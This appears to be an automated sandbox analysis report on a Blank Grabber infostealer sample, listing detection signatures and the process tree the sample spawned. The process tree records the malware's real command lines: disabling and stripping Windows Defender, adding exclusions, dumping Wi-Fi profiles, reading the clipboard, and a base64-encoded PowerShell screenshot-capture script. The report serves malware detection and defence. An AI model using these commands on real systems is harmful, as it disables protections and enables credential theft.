Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
#U202f#U202f#U2005#U00a0.scr.exe

Overview

General Information

Sample name:#U202f#U202f#U2005#U00a0.scr.exe
renamed because original name is a hash value
Original sample name:.scr.exe
Analysis ID:1487425
MD5:d87b402b821fa842d89283aa8654d9c0
SHA1:30c086651e1bcd191163c01efbab55f51ec04691
SHA256:791a66abbd58ac34dc72565455fb6e596bb14b93aa5b0109e0d53c60b87b5678
Tags:exe
Infos:

Detection

Blank Grabber
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Sigma detected: Capture Wi-Fi password
Yara detected Blank Grabber
Yara detected Telegram RAT
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Bypasses PowerShell execution policy
Encrypted powershell cmdline option found
Found many strings related to Crypto-Wallets (likely being stolen)
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Modifies Windows Defender protection settings
Modifies existing user documents (likely ransomware behavior)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Removes signatures from Windows Defender
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Powershell Defender Disable Scan Feature
Sigma detected: Rar Usage with Password and Compression Level
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Encoded Command Patterns
Sigma detected: Suspicious Startup Folder Persistence
Suspicious powershell command line found
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Uses an obfuscated file name to hide its real file extension (RTLO)
Uses netsh to modify the Windows network and firewall settings
Uses the Telegram API (likely for C&C communication)
Very long command line found
Writes or reads registry keys via WMI
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Compiles C# or VB.Net code
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to shutdown / reboot the system
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: PowerShell Get-Clipboard Cmdlet Via CLI
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Startup Folder File Write
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Suspicious Screensaver Binary File Creation
Stores files to the Windows start menu directory
Too many similar processes found
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Process Tree

  • System is w10x64
  • #U202f#U202f#U2005#U00a0.scr.exe (PID: 1788 cmdline: "C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe" MD5: D87B402B821FA842D89283AA8654D9C0)
    • #U202f#U202f#U2005#U00a0.scr.exe (PID: 5260 cmdline: "C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe" MD5: D87B402B821FA842D89283AA8654D9C0)
      • cmd.exe (PID: 4432 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 6640 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\#U202f#U202f#U2005#U00a0.scr.exe' MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 744 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7096 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 2860 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 04029E121A0CFA5991749937DD22A1D9)
        • MpCmdRun.exe (PID: 7480 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: B3676839B2EE96983F9ED735CD044159)
      • cmd.exe (PID: 6112 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ? .scr'" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 2672 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ? .scr' MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 6000 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7376 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 5556 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7296 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 6524 cmdline: C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 1276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • WMIC.exe (PID: 7320 cmdline: WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • cmd.exe (PID: 6844 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7312 cmdline: powershell Get-Clipboard MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7176 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7364 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 7540 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 7668 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 7592 cmdline: C:\Windows\system32\cmd.exe /c "netsh wlan show profile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • netsh.exe (PID: 7692 cmdline: netsh wlan show profile MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)
      • cmd.exe (PID: 7616 cmdline: C:\Windows\system32\cmd.exe /c "systeminfo" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7728 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • systeminfo.exe (PID: 7860 cmdline: systeminfo MD5: EE309A9C61511E907D87B10EF226FDCD)
      • cmd.exe (PID: 7748 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tree.com (PID: 7876 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)
      • cmd.exe (PID: 7756 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7908 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcg